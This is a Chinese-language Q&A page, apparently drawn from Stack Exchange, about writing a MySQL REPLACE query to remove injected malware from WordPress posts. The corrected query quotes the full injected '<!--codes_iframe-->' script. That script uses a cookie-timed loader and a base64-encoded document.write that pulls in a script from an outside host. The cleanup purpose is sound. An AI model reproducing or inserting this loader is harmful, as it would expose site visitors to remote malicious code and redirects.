如何编写含JavaScript代码的MySQL查询?phpMyAdmin执行报错如何解决
问题原因及正确SQL写法
你执行报错主要有三个核心原因:
- 替换目标字符串中包含未转义的单引号,和MySQL字符串边界的单引号产生语法冲突
- 原SQL语句未正确闭合REPLACE函数和UPDATE语句,语法不完整
- REPLACE函数是严格匹配模式,字符串中的换行、空格需要和数据库实际存储的内容完全一致才能生效
正确的查询语句
UPDATE `wp_posts` SET post_content = REPLACE (post_content, '<!--codes_iframe--> <script type="text/javascript"> function getCookie(e) {var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)")); return U?decodeURIComponent(U[1]):void 0} var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=" ,now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect"); if(now>=(time=cookie)||void 0===time) {var time=Math.floor(Date.now()/1e3+86400), date=new Date((new Date).getTime()+86400); document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(), document.write(''</script>'')} ', ' ') WHERE post_content LIKE '%<!--codes_iframe-->%';
注:语句中的两个连续单引号是MySQL的单引号转义写法,符合语法规则,额外加的WHERE条件可避免全表扫描,执行更安全
注意事项
- 操作前必须先备份
wp_posts表,可直接通过phpMyAdmin的导出功能备份,防止替换错误导致数据不可逆丢失 - 若执行后无匹配记录,可先执行
SELECT * FROM wp_posts WHERE post_content LIKE '%<!--codes_iframe-->%'确认存在对应恶意代码,再对比查询到的代码和你写的替换目标字符串的换行、空格、编码格式是否完全一致 - 如果数据库中存储的恶意代码是HTML实体编码格式(比如
<代替<),则替换目标字符串要对应写成实体编码的格式,保证字符完全匹配 - 如果还是无法匹配,可以分段替换,先替换开头的
<!--codes_iframe-->到中间的固定base64部分,再处理剩余内容
内容的提问来源于stack exchange,提问作者Sajad Akbari
相关产品推荐
相关产品推荐

